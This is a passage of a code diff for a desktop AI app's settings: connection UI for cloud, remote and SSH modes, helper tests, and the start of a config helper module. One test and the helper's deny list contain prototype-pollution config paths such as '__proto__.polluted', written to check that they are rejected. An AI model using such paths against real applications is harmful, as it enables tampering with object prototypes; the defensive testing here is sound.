+            description={cloudSignedIn ? g.cloudSignedInDesc : g.cloudNeedsSignIn}
+            title={g.cloudSignInTitle}
+          />
+
+          {cloudSignedIn ? (
+            cloudOrgs.length > 0 && !cloudOrg ? (
+              // Multi-org user who hasn't picked an org yet: show the org picker
+              // instead of the agent list. Selecting one re-runs discovery
+              // scoped to it.
+              <div className="mt-3">
+                <div className="mb-2 text-[length:var(--conversation-caption-font-size)] font-medium text-(--ui-text-secondary)">
+                  {g.cloudOrgPickerTitle}
+                </div>
+                <div className="grid gap-1">
+                  {cloudOrgs.map(orgEntry => (
+                    <ListRow
+                      action={
+                        <Button onClick={() => selectCloudOrg(orgEntry)} size="sm">
+                          {g.cloudOrgSelect}
+                        </Button>
+                      }
+                      description={g.cloudOrgRole(orgEntry.role)}
+                      key={orgEntry.id}
+                      title={orgEntry.name}
+                    />
+                  ))}
+                </div>
+              </div>
+            ) : (
+              <div className="mt-3">
+                <div className="mb-2 flex items-center justify-between">
+                  <div className="text-[length:var(--conversation-caption-font-size)] font-medium text-(--ui-text-secondary)">
+                    {g.cloudAgentsTitle}
+                  </div>
+                  <div className="flex items-center gap-2">
+                    {cloudOrg ? (
+                      // Let the user switch orgs. Gating on cloudOrgs.length would
+                      // hide this after a restore-open (which discovers straight
+                      // into the saved org and never populates the org list). So
+                      // show it whenever an org is selected: clicking clears the
+                      // org and re-runs discovery with no org arg — a multi-org
+                      // user gets the picker (NAS 409), a single-org user simply
+                      // auto-resolves back to their one org (harmless).
+                      <Button onClick={() => changeCloudOrg()} size="sm" variant="text">
+                        {g.cloudOrgChange}
+                      </Button>
+                    ) : null}
+                    <Button
+                      disabled={cloudDiscover === 'loading'}
+                      onClick={() => void discoverCloud(cloudOrg ?? undefined)}
+                      size="sm"
+                      variant="text"
+                    >
+                      {cloudDiscover === 'loading' ? <Loader2 className="animate-spin" /> : <RefreshCw />}
+                      {g.cloudRefresh}
+                    </Button>
+                  </div>
+                </div>
+
+                {cloudDiscover === 'loading' ? (
+                  <div className="flex items-center gap-2 py-3 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                    <Loader2 className="size-4 animate-spin" />
+                    {g.cloudLoadingAgents}
+                  </div>
+                ) : cloudAgents.length === 0 ? (
+                  <div className="flex items-start gap-2 py-3 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                    <AlertCircle className="mt-0.5 size-4 shrink-0" />
+                    <span>
+                      {g.cloudNoAgents.before}
+                      <ExternalLink href="https://portal.invalid/agents" showExternalIcon={false}>
+                        {g.cloudNoAgents.linkText}
+                      </ExternalLink>
+                      {g.cloudNoAgents.after}
+                    </span>
+                  </div>
+                ) : (
+                  <div className="grid gap-1">
+                    {cloudAgents.map(agent => {
+                      const connected = isConnectedAgent(agent)
+
+                      return (
+                        <div
+                          className={cn('rounded-md px-2', connected && 'bg-primary/5 ring-1 ring-primary/25')}
+                          key={agent.id}
+                        >
+                          <ListRow
+                            action={
+                              connected ? (
+                                <Pill tone="primary">
+                                  <Check className="mr-1 inline size-3" />
+                                  {g.cloudConnectedPill}
+                                </Pill>
+                              ) : (
+                                <Button
+                                  disabled={!agent.dashboardUrl || cloudConnectingId !== null}
+                                  onClick={() => void connectCloudAgent(agent)}
+                                  size="sm"
+                                >
+                                  {cloudConnectingId === agent.id ? <Loader2 className="animate-spin" /> : null}
+                                  {agent.dashboardUrl
+                                    ? cloudConnectingId === agent.id
+                                      ? g.cloudConnecting
+                                      : g.cloudConnect
+                                    : g.cloudAgentProvisioning}
+                                </Button>
+                              )
+                            }
+                            description={g.cloudStatusLabel(agent.dashboardGatewayState)}
+                            title={agent.name}
+                          />
+                        </div>
+                      )
+                    })}
+                  </div>
+                )}
+              </div>
+            )
+          ) : null}
+        </div>
+      ) : null}
+
+      {state.mode === 'remote' && !state.envOverride ? (
+        <div className="mt-5 grid gap-1">
+          <ListRow
+            action={
+              <Input
+                className={cn('h-8', CONTROL_TEXT)}
+                disabled={state.envOverride}
+                onChange={event => setState(current => ({ ...current, remoteUrl: event.target.value }))}
+                placeholder="https://gateway.example.com/clawcodex"
+                value={state.remoteUrl}
+              />
+            }
+            description={g.remoteUrlDesc}
+            title={g.remoteUrlTitle}
+          />
+
+          {state.mode === 'remote' && probeStatus === 'probing' ? (
+            <div className="flex items-center gap-2 py-3 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+              <Loader2 className="size-4 animate-spin" />
+              {g.probing}
+            </div>
+          ) : null}
+
+          {state.mode === 'remote' && probeStatus === 'error' ? (
+            <div className="flex items-start gap-2 py-3 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+              <AlertCircle className="mt-0.5 size-4 shrink-0" />
+              {g.probeError}
+            </div>
+          ) : null}
+
+          {/* OAuth / password gateways: present a sign-in button + connection status. */}
+          {state.mode === 'remote' && authResolved && authMode === 'oauth' ? (
+            <ListRow
+              action={
+                oauthConnected ? (
+                  <div className="flex items-center gap-2">
+                    <Pill tone="primary">
+                      <Check className="size-3" /> {g.signedIn}
+                    </Pill>
+                    <Button disabled={signingIn || state.envOverride} onClick={() => void signOut()} variant="outline">
+                      {signingIn ? <Loader2 className="animate-spin" /> : null}
+                      {g.signOut}
+                    </Button>
+                  </div>
+                ) : (
+                  <Button disabled={signingIn || state.envOverride || !trimmedUrl} onClick={() => void signIn()}>
+                    {signingIn ? <Loader2 className="animate-spin" /> : <LogIn />}
+                    {isPasswordProvider ? g.signIn : g.signInWith(providerLabel)}
+                  </Button>
+                )
+              }
+              description={
+                oauthConnected
+                  ? isPasswordProvider
+                    ? g.authSignedInPassword
+                    : g.authSignedInOauth
+                  : isPasswordProvider
+                    ? g.authNeedsPassword
+                    : g.authNeedsOauth(providerLabel)
+              }
+              title={g.authTitle}
+            />
+          ) : null}
+
+          {/* Session-token gateways: keep the existing token entry box. */}
+          {state.mode === 'remote' && authResolved && authMode === 'token' ? (
+            <ListRow
+              action={
+                <Input
+                  autoComplete="off"
+                  className={cn('h-8 font-mono', CONTROL_TEXT)}
+                  disabled={state.envOverride}
+                  onChange={event => setRemoteToken(event.target.value)}
+                  placeholder={
+                    state.remoteTokenSet
+                      ? g.existingToken(state.remoteTokenPreview ?? g.savedToken)
+                      : g.pasteSessionToken
+                  }
+                  type="password"
+                  value={remoteToken}
+                />
+              }
+              description={g.tokenDesc}
+              title={g.tokenTitle}
+            />
+          ) : null}
+        </div>
+      ) : null}
+
+      {state.mode === 'ssh' && !state.envOverride ? (
+        <div className="mt-5 grid gap-1">
+          {sshHostSuggestions.length > 0 && !sshCustomHost ? (
+            <ListRow
+              action={
+                <Select
+                  onValueChange={selectHost}
+                  value={sshHostSuggestions.includes(state.sshHost) ? state.sshHost : SSH_HOST_CUSTOM}
+                >
+                  <SelectTrigger className={cn('h-8', CONTROL_TEXT)}>
+                    <SelectValue placeholder={g.sshHostPick} />
+                  </SelectTrigger>
+                  <SelectContent>
+                    {sshHostSuggestions.map(host => (
+                      <SelectItem key={host} value={host}>
+                        {host}
+                      </SelectItem>
+                    ))}
+                    <SelectItem value={SSH_HOST_CUSTOM}>{g.sshHostCustom}</SelectItem>
+                  </SelectContent>
+                </Select>
+              }
+              description={g.sshHostPickDesc}
+              title={g.sshHostPickTitle}
+            />
+          ) : (
+            <ListRow
+              action={
+                <Input
+                  autoFocus={sshCustomHost}
+                  className={cn('h-8', CONTROL_TEXT)}
+                  onBlur={() => {
+                    // Empty host on blur with suggestions available = the user backed
+                    // out of Custom; return to the dropdown.
+                    if (!state.sshHost.trim() && sshHostSuggestions.length > 0) {
+                      setSshCustomHost(false)
+
+                      return
+                    }
+
+                    void resolveSshHost(state.sshHost)
+                  }}
+                  onChange={event => setState(current => selectSshHost(current, event.target.value))}
+                  value={state.sshHost}
+                />
+              }
+              description={g.sshHostDesc}
+              title={g.sshHostTitle}
+            />
+          )}
+          <ListRow
+            action={
+              <Input
+                className={cn('h-8', CONTROL_TEXT)}
+                onChange={event => setState(current => ({ ...current, sshUser: event.target.value }))}
+                placeholder={g.sshUserPlaceholder}
+                value={state.sshUser}
+              />
+            }
+            description={g.sshUserDesc}
+            title={g.sshUserTitle}
+          />
+          <ListRow
+            action={
+              <Input
+                className={cn('h-8', CONTROL_TEXT)}
+                inputMode="numeric"
+                onChange={event =>
+                  setState(current => ({ ...current, sshPort: event.target.value ? Number(event.target.value) : null }))
+                }
+                placeholder="22"
+                value={state.sshPort ?? ''}
+              />
+            }
+            description={g.sshPortDesc}
+            title={g.sshPortTitle}
+          />
+          <ListRow
+            action={
+              <Input
+                className={cn('h-8 font-mono', CONTROL_TEXT)}
+                onChange={event => setState(current => ({ ...current, sshKeyPath: event.target.value }))}
+                value={state.sshKeyPath}
+              />
+            }
+            description={g.sshKeyDesc}
+            title={g.sshKeyTitle}
+          />
+          <ListRow
+            action={
+              <Input
+                className={cn('h-8 font-mono', CONTROL_TEXT)}
+                onChange={event => setState(current => ({ ...current, sshRemoteClawCodexPath: event.target.value }))}
+                placeholder={g.sshClawCodexPathPlaceholder}
+                value={state.sshRemoteClawCodexPath}
+              />
+            }
+            description={g.sshClawCodexPathDesc}
+            title={g.sshClawCodexPathTitle}
+          />
+          {scope !== null ? (
+            <ListRow
+              action={
+                <Input
+                  className={cn('h-8 font-mono', CONTROL_TEXT)}
+                  onChange={event => setState(current => ({ ...current, sshRemoteProfile: event.target.value }))}
+                  placeholder={scope}
+                  value={state.sshRemoteProfile}
+                />
+              }
+              description={g.sshRemoteProfileDesc}
+              title={g.sshRemoteProfileTitle}
+            />
+          ) : null}
+        </div>
+      ) : null}
+
+      {lastTest ? <div className="mt-4 text-xs text-primary">{lastTest}</div> : null}
+
+      {/* Test/Save apply to local + remote. Cloud connects via the agent picker
+          above (which applies a cloud connection on select), so its only
+          bottom-row action would be redundant — hidden in cloud mode. */}
+      {state.mode !== 'cloud' ? (
+        <div className="mt-6 flex flex-wrap items-center justify-end gap-4">
+          {state.mode === 'remote' ? (
+            <Button
+              className="mr-auto"
+              disabled={state.envOverride || testing || !canUseRemote}
+              onClick={() => void testRemote()}
+              size="sm"
+              variant="text"
+            >
+              {testing ? <Loader2 className="animate-spin" /> : null}
+              {g.testRemote}
+            </Button>
+          ) : state.mode === 'ssh' ? (
+            <Button
+              className="mr-auto"
+              disabled={testing || !state.sshHost.trim()}
+              onClick={() => void testSsh()}
+              size="sm"
+              variant="text"
+            >
+              {testing ? <Loader2 className="animate-spin" /> : null}
+              {g.sshTestConnection}
+            </Button>
+          ) : null}
+          {embedded ? null : (
+            <Button
+              disabled={state.envOverride || saving}
+              onClick={() => void save(false)}
+              size="sm"
+              variant="textStrong"
+            >
+              {g.saveForRestart}
+            </Button>
+          )}
+          <Button disabled={state.envOverride || saving} onClick={() => void save(true)} size="sm">
+            {saving ? <Loader2 className="animate-spin" /> : null}
+            {g.saveAndReconnect}
+          </Button>
+        </div>
+      ) : null}
+
+      {embedded ? null : (
+        <div className="mt-6 grid gap-1">
+          <ListRow
+            action={
+              <Button onClick={() => void window.clawcodexDesktop?.revealLogs()} size="sm" variant="textStrong">
+                <FileText />
+                {g.openLogs}
+              </Button>
+            }
+            description={g.diagnosticsDesc}
+            title={g.diagnostics}
+          />
+        </div>
+      )}
+    </SettingsContent>
+  )
+}
diff --git a/ui-desktop/src/app/settings/helpers.test.ts b/ui-desktop/src/app/settings/helpers.test.ts
new file mode 100644
index 000000000..1f7b5d039
--- /dev/null
+++ b/ui-desktop/src/app/settings/helpers.test.ts
@@ -0,0 +1,366 @@
+import { describe, expect, it } from 'vitest'
+
+import type { ClawCodexConfigRecord } from '@/types/clawcodex'
+
+import { FIELD_DESCRIPTIONS, FIELD_LABELS, SECTIONS } from './constants'
+import { defineFieldCopy, fieldCopyForSchemaKey, schemaKeyToFieldCopyKey } from './field-copy'
+import {
+  enumOptionsFor,
+  getNested,
+  isExternalMemoryProvider,
+  providerGroup,
+  sectionFieldEntries,
+  setNested,
+  stripToolsetLabel,
+  toolsetDisplayLabel
+} from './helpers'
+
+describe('settings helpers', () => {
+  it('surfaces repository discovery config in Workspace with user-facing copy', () => {
+    const workspace = SECTIONS.find(section => section.id === 'workspace')
+
+    expect(workspace?.keys).toEqual(
+      expect.arrayContaining([
+        'desktop.repo_scan_enabled',
+        'desktop.repo_scan_roots',
+        'desktop.repo_scan_exclude_paths'
+      ])
+    )
+    expect(fieldCopyForSchemaKey(FIELD_LABELS, 'desktop.repo_scan_enabled')).toBeTruthy()
+    expect(fieldCopyForSchemaKey(FIELD_DESCRIPTIONS, 'desktop.repo_scan_exclude_paths')).toBeTruthy()
+  })
+
+  it('does not shadow the backend schema options for memory.provider', () => {
+    // memory.provider options are discovery-driven and served by the backend
+    // config schema (merged per-request); enumOptionsFor must return undefined
+    // so config-field consumes schema.options instead of a stale static list.
+    expect(enumOptionsFor('memory.provider', '', {})).toBeUndefined()
+    expect(enumOptionsFor('memory.provider', 'honcho', {})).toBeUndefined()
+  })
+
+  describe('isExternalMemoryProvider', () => {
+    it('treats only real plugin names as external providers', () => {
+      expect(isExternalMemoryProvider('honcho')).toBe(true)
+      expect(isExternalMemoryProvider('hindsight')).toBe(true)
+    })
+
+    it('treats built-in aliases and empty values as not external', () => {
+      for (const value of ['', 'builtin', 'built-in', 'Builtin', 'none', '  ', undefined, null, 7]) {
+        expect(isExternalMemoryProvider(value)).toBe(false)
+      }
+    })
+  })
+
+  describe('defineFieldCopy', () => {
+    it('flattens nested field copy paths', () => {
+      const copy = defineFieldCopy({
+        display: {
+          personality: 'Personality'
+        },
+        stt: {
+          elevenlabs: {
+            language_code: 'Language'
+          }
+        }
+      })
+
+      expect(copy[['display', 'personality'].join('.')]).toBe('Personality')
+      expect(copy[['stt', 'elevenlabs', 'language_code'].join('.')]).toBe('Language')
+    })
+
+    it('keeps top-level flat field keys', () => {
+      expect(
+        defineFieldCopy({
+          model_context_length: 'Context Window',
+          file_read_max_chars: 'File Read Limit'
+        })
+      ).toEqual({
+        model_context_length: 'Context Window',
+        file_read_max_chars: 'File Read Limit'
+      })
+    })
+
+    it('maps schema keys to camelCase translation keys', () => {
+      expect(schemaKeyToFieldCopyKey('model_context_length')).toBe('modelContextLength')
+      expect(schemaKeyToFieldCopyKey('display.show_reasoning')).toBe('display.showReasoning')
+      expect(schemaKeyToFieldCopyKey('tool_output.max_line_length')).toBe('toolOutput.maxLineLength')
+      expect(schemaKeyToFieldCopyKey('updates.non_interactive_local_changes')).toBe(
+        'updates.nonInteractiveLocalChanges'
+      )
+    })
+
+    it('looks up camelCase field copy by schema key with legacy fallback', () => {
+      const copy = defineFieldCopy({
+        display: {
+          showReasoning: 'Reasoning Blocks'
+        },
+        file_read_max_chars: 'Legacy File Read Limit',
+        modelContextLength: 'Context Window',
+        toolOutput: {
+          maxLineLength: 'Line Length Limit'
+        }
+      })
+
+      expect(fieldCopyForSchemaKey(copy, 'model_context_length')).toBe('Context Window')
+      expect(fieldCopyForSchemaKey(copy, 'display.show_reasoning')).toBe('Reasoning Blocks')
+      expect(fieldCopyForSchemaKey(copy, 'tool_output.max_line_length')).toBe('Line Length Limit')
+      expect(fieldCopyForSchemaKey(copy, 'file_read_max_chars')).toBe('Legacy File Read Limit')
+    })
+
+    it('rejects duplicate flattened paths', () => {
+      const duplicateKey = ['display', 'personality'].join('.')
+
+      expect(() =>
+        defineFieldCopy({
+          display: {
+            personality: 'Personality'
+          },
+          [duplicateKey]: 'Duplicate'
+        })
+      ).toThrow('Duplicate field copy key: display.personality')
+    })
+  })
+
+  it('reads and writes nested config paths', () => {
+    const config: ClawCodexConfigRecord = { display: { theme: 'mono' } }
+    const next = setNested(config, 'display.theme', 'slate')
+
+    expect(getNested(next, 'display.theme')).toBe('slate')
+    expect(getNested(config, 'display.theme')).toBe('mono')
+  })
+
+  it('rejects prototype-polluting config paths', () => {
+    const config: ClawCodexConfigRecord = {}
+
+    expect(() => setNested(config, '__proto__.polluted', true)).toThrow('Unsafe config path')
+    expect(() => setNested(config, 'constructor.prototype.polluted', true)).toThrow('Unsafe config path')
+    expect(({} as Record<string, unknown>).polluted).toBeUndefined()
+  })
+
+  describe('stripToolsetLabel', () => {
+    it('removes leading emoji prefixes from registry labels', () => {
+      expect(stripToolsetLabel('⏰ Cron Jobs')).toBe('Cron Jobs')
+      expect(stripToolsetLabel('⚡ Code Execution')).toBe('Code Execution')
+      expect(stripToolsetLabel('❓ Clarifying Questions')).toBe('Clarifying Questions')
+      expect(stripToolsetLabel('🌐 Browser Automation')).toBe('Browser Automation')
+      expect(stripToolsetLabel('🎨 Image Generation')).toBe('Image Generation')
+    })
+
+    it('leaves plain titles unchanged', () => {
+      expect(stripToolsetLabel('Terminal & Processes')).toBe('Terminal & Processes')
+    })
+  })
+
+  describe('toolsetDisplayLabel', () => {
+    it('strips emoji from toolset rows', () => {
+      expect(toolsetDisplayLabel({ name: 'cronjob', label: '⏰ Cron Jobs' })).toBe('Cron Jobs')
+    })
+  })
+
+  describe('providerGroup', () => {
+    it('maps a provider env var to its labeled group', () => {
+      expect(providerGroup('XAI_API_KEY')).toBe('xAI')
+      expect(providerGroup('NOUS_API_KEY')).toBe('Nous Portal')
+      expect(providerGroup('FIREWORKS_API_KEY')).toBe('Fireworks AI')
+      expect(providerGroup('OPENROUTER_API_KEY')).toBe('OpenRouter')
+    })
+
+    it('prefers the longest matching prefix so CN/regional buckets win', () => {
+      // MINIMAX_CN_ must beat the generic MINIMAX_ prefix.
+      expect(providerGroup('MINIMAX_CN_API_KEY')).toBe('MiniMax (China)')
+      expect(providerGroup('MINIMAX_API_KEY')).toBe('MiniMax')
+      // KIMI_CN_ likewise must beat KIMI_.
+      expect(providerGroup('KIMI_CN_API_KEY')).toBe('Kimi (China)')
+      expect(providerGroup('KIMI_API_KEY')).toBe('Kimi / Moonshot')
+      // CLAWCODEX_QWEN_ shares the CLAWCODEX_ stem with other integrations.
+      expect(providerGroup('CLAWCODEX_QWEN_BASE_URL')).toBe('DashScope (Qwen)')
+      expect(providerGroup('GEMINI_API_KEY')).toBe('Gemini')
+    })
+
+    it('falls back to "Other" for un-grouped env vars', () => {
+      expect(providerGroup('SOMETHING_RANDOM')).toBe('Other')
+    })
+  })
+
+  describe('enumOptionsFor — backend selector dropdowns', () => {
+    const config: ClawCodexConfigRecord = {}
+
+    it('renders a dropdown for the TTS provider including xAI (Grok)', () => {
+      const opts = enumOptionsFor('tts.provider', 'edge', config)
+      expect(opts).toBeDefined()
+      expect(opts).toContain('xai')
+      expect(opts).toContain('edge')
+      expect(opts).toContain('elevenlabs')
+    })
+
+    it('renders a dropdown for the STT provider including xAI (Grok)', () => {
+      const opts = enumOptionsFor('stt.provider', 'local', config)
+      expect(opts).toEqual(['local', 'groq', 'openai', 'mistral', 'xai', 'elevenlabs'])
+    })
+
+    it('renders dropdowns for per-backend model/device sub-fields', () => {
+      expect(enumOptionsFor('stt.openai.model', 'whisper-1', config)).toContain('gpt-4o-transcribe')
+      expect(enumOptionsFor('tts.openai.model', 'gpt-4o-mini-tts', config)).toContain('tts-1-hd')
+      expect(enumOptionsFor('tts.neutts.device', 'cpu', config)).toEqual(['cpu', 'cuda', 'mps'])
+    })
+
+    it('renders a dropdown for the terminal execution backend', () => {
+      const opts = enumOptionsFor('terminal.backend', 'local', config)
+      expect(opts).toEqual(['local', 'docker', 'singularity', 'modal', 'daytona', 'ssh'])
+    })
+
+    it('narrows OpenAI TTS voice suggestions to what the selected model supports', () => {
+      // gpt-4o-mini-tts (and unset/unknown models): full 13-voice set.
+      const full = enumOptionsFor('tts.openai.voice', 'alloy', { tts: { openai: { model: 'gpt-4o-mini-tts' } } })
+      expect(full).toContain('marin')
+      expect(full).toContain('cedar')
+      expect(full).toContain('ballad')
+      expect(full).toContain('verse')
+      expect(full).toHaveLength(13)
+
+      // tts-1 / tts-1-hd: the 9-voice set — no ballad/verse/marin/cedar.
+      for (const model of ['tts-1', 'tts-1-hd']) {
+        const narrowed = enumOptionsFor('tts.openai.voice', 'alloy', { tts: { openai: { model } } })
+        expect(narrowed).toEqual(['alloy', 'ash', 'coral', 'echo', 'fable', 'nova', 'onyx', 'sage', 'shimmer'])
+      }
+
+      // A hand-typed custom voice still stays selectable on tts-1.
+      const custom = enumOptionsFor('tts.openai.voice', 'my-cloned-voice', { tts: { openai: { model: 'tts-1' } } })
+      expect(custom).toContain('my-cloned-voice')
+    })
+
+    it('appends a hand-typed value not in the known list so it stays selected', () => {
+      const opts = enumOptionsFor('tts.provider', 'my-custom-command-tts', config)
+      expect(opts).toContain('my-custom-command-tts')
+      expect(opts).toContain('xai')
+    })
+
+    it('surfaces user-defined command-type TTS providers (canonical providers nesting + legacy)', () => {
+      const withCustom: ClawCodexConfigRecord = {
+        tts: {
+          provider: 'neutts',
+          // canonical location the runtime resolves first: tts.providers.<name>
+          providers: {
+            higgs8: { type: 'command', command: 'curl …' },
+            indextts2: { type: 'command', command: 'curl …' },
+            // `type:` is optional at runtime — a bare command block still qualifies
+            typeless: { command: 'curl …' },
+            // misconfigured: type:command but no command → NOT a runtime provider
+            noop: { type: 'command' }
+          },
+          // back-compat: a top-level tts.<name> command block still resolves at runtime
+          mylegacy: { type: 'command', command: 'curl …' },
+          // a non-command block (built-in config) must NOT be offered as a provider
+          edge: { voice: 'en-US-JennyNeural' }
+        }
+      }
+
+      const opts = enumOptionsFor('tts.provider', 'neutts', withCustom)
+      expect(opts).toContain('higgs8') // canonical providers.<name>
+      expect(opts).toContain('indextts2') // canonical providers.<name>
+      expect(opts).toContain('typeless') // command block with no type: still surfaced
+      expect(opts).toContain('mylegacy') // legacy top-level tts.<name>
+      expect(opts).toContain('elevenlabs') // built-ins preserved
+      expect(opts).not.toContain('noop') // type:command with no command is excluded
+      // 'edge' appears once (the built-in), not duplicated by the config block
+      expect(opts!.filter(o => o === 'edge')).toHaveLength(1)
+      // the 'providers' container itself is never offered as a provider name
+      expect(opts).not.toContain('providers')
+    })
+
+    it('surfaces command-type STT providers too (canonical providers nesting)', () => {
+      const withCustom: ClawCodexConfigRecord = {
+        stt: {
+          provider: 'local',
+          providers: { myasr: { type: 'command', command: 'curl …' } }
+        }
+      }
+
+      const opts = enumOptionsFor('stt.provider', 'local', withCustom)
+      expect(opts).toContain('myasr')
+      expect(opts).toContain('local')
+      expect(opts).not.toContain('providers')
+    })
+
+    // The runtime rejects a built-in name as a command provider before any config
+    // lookup, so such a block must never be offered — including the names the
+    // display list omits (`deepinfra` for TTS; `deepinfra`/`local_command` for
+    // STT), where filtering on ENUM_OPTIONS instead of the runtime's built-in set
+    // would wrongly offer a provider that can never dispatch.
+    it('never offers a built-in name as a command provider, even one absent from the dropdown list', () => {
+      const shadowing: ClawCodexConfigRecord = {
+        tts: {
+          provider: 'edge',
+          providers: {
+            // built-in and absent from ENUM_OPTIONS['tts.provider']
+            deepinfra: { type: 'command', command: 'curl …' },
+            // built-in guard is case-insensitive at runtime (provider.lower())
+            EDGE: { type: 'command', command: 'curl …' },
+            // a genuine custom provider alongside them still surfaces
+            higgs8: { type: 'command', command: 'curl …' }
+          }
+        }
+      }
+
+      const opts = enumOptionsFor('tts.provider', 'edge', shadowing)
+      expect(opts).not.toContain('deepinfra')
+      expect(opts).not.toContain('EDGE')
+      expect(opts).toContain('higgs8')
+      expect(opts!.filter(o => o === 'edge')).toHaveLength(1)
+    })
+
+    it('never offers a built-in STT name absent from the dropdown list as a command provider', () => {
+      const shadowing: ClawCodexConfigRecord = {
+        stt: {
+          provider: 'local',
+          providers: {
+            // both are built-in STT names omitted from ENUM_OPTIONS['stt.provider']
+            local_command: { type: 'command', command: 'curl …' },
+            deepinfra: { type: 'command', command: 'curl …' },
+            myasr: { type: 'command', command: 'curl …' }
+          }
+        }
+      }
+
+      const opts = enumOptionsFor('stt.provider', 'local', shadowing)
+      expect(opts).not.toContain('local_command')
+      expect(opts).not.toContain('deepinfra')
+      expect(opts).toContain('myasr')
+    })
+  })
+
+  describe('sectionFieldEntries', () => {
+    it('renders memory.provider from config even when the backend schema omits it', () => {
+      const schema = { 'memory.memory_enabled': { type: 'boolean' as const } }
+      const config: ClawCodexConfigRecord = { memory: { memory_enabled: true, provider: '' } }
+
+      const memoryKeys = (sectionFieldEntries(schema, config).get('memory') ?? []).map(([key]) => key)
+
+      expect(memoryKeys).toContain('memory.provider')
+    })
+
+    it('infers the field type from the config value when the schema omits the key', () => {
+      const config: ClawCodexConfigRecord = { memory: { provider: '', memory_enabled: true, memory_char_limit: 2200 } }
+
+      const fields = new Map(sectionFieldEntries({}, config).get('memory') ?? [])
+
+      expect(fields.get('memory.provider')?.type).toBe('string')
+      expect(fields.get('memory.memory_enabled')?.type).toBe('boolean')
+      expect(fields.get('memory.memory_char_limit')?.type).toBe('number')
+    })
+
+    it('prefers the backend schema entry over inference when both exist', () => {
+      const schema = { 'memory.provider': { type: 'select' as const, options: ['honcho'] } }
+      const config: ClawCodexConfigRecord = { memory: { provider: 'honcho' } }
+
+      const field = new Map(sectionFieldEntries(schema, config).get('memory') ?? []).get('memory.provider')
+
+      expect(field?.type).toBe('select')
+      expect(field?.options).toEqual(['honcho'])
+    })
+
+    it('hides declared keys absent from both schema and config', () => {
+      expect(sectionFieldEntries({}, {}).get('memory') ?? []).toHaveLength(0)
+    })
+  })
+})
diff --git a/ui-desktop/src/app/settings/helpers.ts b/ui-desktop/src/app/settings/helpers.ts
new file mode 100644
index 000000000..ee1a9fee0
--- /dev/null
+++ b/ui-desktop/src/app/settings/helpers.ts
@@ -0,0 +1,319 @@
+import { asText, normalize } from '@/lib/text'
+import type { ClawCodexConfigRecord, ConfigFieldSchema, ToolsetInfo } from '@/types/clawcodex'
+
+import { BUILTIN_PERSONALITIES, ENUM_OPTIONS, PROVIDER_GROUPS, SECTIONS } from './constants'
+
+// Canonical implementations live in @/lib/text; re-exported here so the many
+// settings/capabilities call sites keep their import path.
+export { asText, includesQuery, prettyName } from '@/lib/text'
+
+/** Strip leading emoji from toolset titles (CLI registry prefixes labels with icons). */
+export const stripToolsetLabel = (label: string): string =>
+  label.replace(/^[\p{Emoji}\p{Extended_Pictographic}\s]+/u, '').trim() || label
+
+export const toolsetDisplayLabel = (toolset: Pick<ToolsetInfo, 'label' | 'name'>): string =>
+  stripToolsetLabel(asText(toolset.label || toolset.name))
+
+export const toolNames = (t: ToolsetInfo) => (Array.isArray(t.tools) ? t.tools.map(asText).filter(Boolean) : [])
+
+export const withoutKey = <T>(record: Record<string, T>, key: string) => {
+  const next = { ...record }
+  delete next[key]
+
+  return next
+}
+
+export const redactedValue = (v: string) => (v.length <= 8 ? '••••' : `${v.slice(0, 4)}...${v.slice(-4)}`)
+
+// Longest-prefix match so a more specific group like ``MINIMAX_CN_`` is
+// chosen over its shorter parent ``MINIMAX_``. Falls back to the bucket
+// "Other" used by the Keys settings view for un-grouped env vars.
+export const providerGroup = (key: string) => {
+  let best: (typeof PROVIDER_GROUPS)[number] | undefined
+
+  for (const candidate of PROVIDER_GROUPS) {
+    if (!key.startsWith(candidate.prefix)) {
+      continue
+    }
+
+    if (!best || candidate.prefix.length > best.prefix.length) {
+      best = candidate
+    }
+  }
+
+  return best?.name ?? 'Other'
+}
+
+export const providerMeta = (name: string) =>
+  PROVIDER_GROUPS.find(g => g.name === name && (g.description || g.docsUrl)) ??
+  PROVIDER_GROUPS.find(g => g.name === name)
+
+export const providerPriority = (name: string) => providerMeta(name)?.priority ?? 99
+
+const POLLUTING_PATH_PARTS = new Set(['__proto__', 'constructor', 'prototype'])
+
+function isSafePart(part: string): boolean {
+  return part.length > 0 && !POLLUTING_PATH_PARTS.has(part)
+}
+
+function configPathParts(path: string): string[] {
+  const parts = path.split('.')
+
+  if (!parts.every(isSafePart)) {
+    throw new Error(`Unsafe config path: ${path}`)
+  }
+
+  return parts
+}
+
+function safeSet(target: Record<string, unknown>, key: string, value: unknown): void {
+  if (key === '__proto__' || key === 'constructor' || key === 'prototype' || !key) {
+    throw new Error(`Unsafe config key: ${key}`)
+  }
+
+  Object.defineProperty(target, key, {
+    value,
+    writable: true,
+    enumerable: true,
+    configurable: true
+  })
+}
+
+export function getNested(obj: ClawCodexConfigRecord, path: string): unknown {
+  let cur: unknown = obj
+
+  for (const part of configPathParts(path)) {
+    if (cur == null || typeof cur !== 'object') {
+      return undefined
+    }
+
+    if (!Object.prototype.hasOwnProperty.call(cur, part)) {
+      return undefined
+    }
+
+    cur = (cur as Record<string, unknown>)[part]
+  }
+
+  return cur
+}
+
+export function inferFieldSchema(value: unknown): ConfigFieldSchema {
+  if (typeof value === 'boolean') {
+    return { type: 'boolean' }
+  }
+
+  if (typeof value === 'number') {
+    return { type: 'number' }
+  }
+
+  if (Array.isArray(value)) {
+    return { type: 'list' }
+  }
+
+  return { type: 'string' }
+}
+
+// Backend schema omits some declared keys; config presence is the availability signal.
+export function sectionFieldEntries(
+  schema: Record<string, ConfigFieldSchema>,
+  config: ClawCodexConfigRecord
+): Map<string, [string, ConfigFieldSchema][]> {
+  return new Map(
+    SECTIONS.map(s => [
+      s.id,
+      s.keys.flatMap(k => {
+        const value = getNested(config, k)
+        const field = schema[k] ?? (value === undefined ? undefined : inferFieldSchema(value))
+
+        return field ? [[k, field] as [string, ConfigFieldSchema]] : []
+      })
+    ])
+  )
+}
+
+export function setNested(obj: ClawCodexConfigRecord, path: string, value: unknown): ClawCodexConfigRecord {
+  const clone = structuredClone(obj)
+  const parts = configPathParts(path)
+  let cur: Record<string, unknown> = clone
+
+  for (let i = 0; i < parts.length - 1; i += 1) {
+    const part = parts[i]
+
+    if (!isSafePart(part)) {
+      throw new Error(`Unsafe config path part: ${part}`)
+    }
+
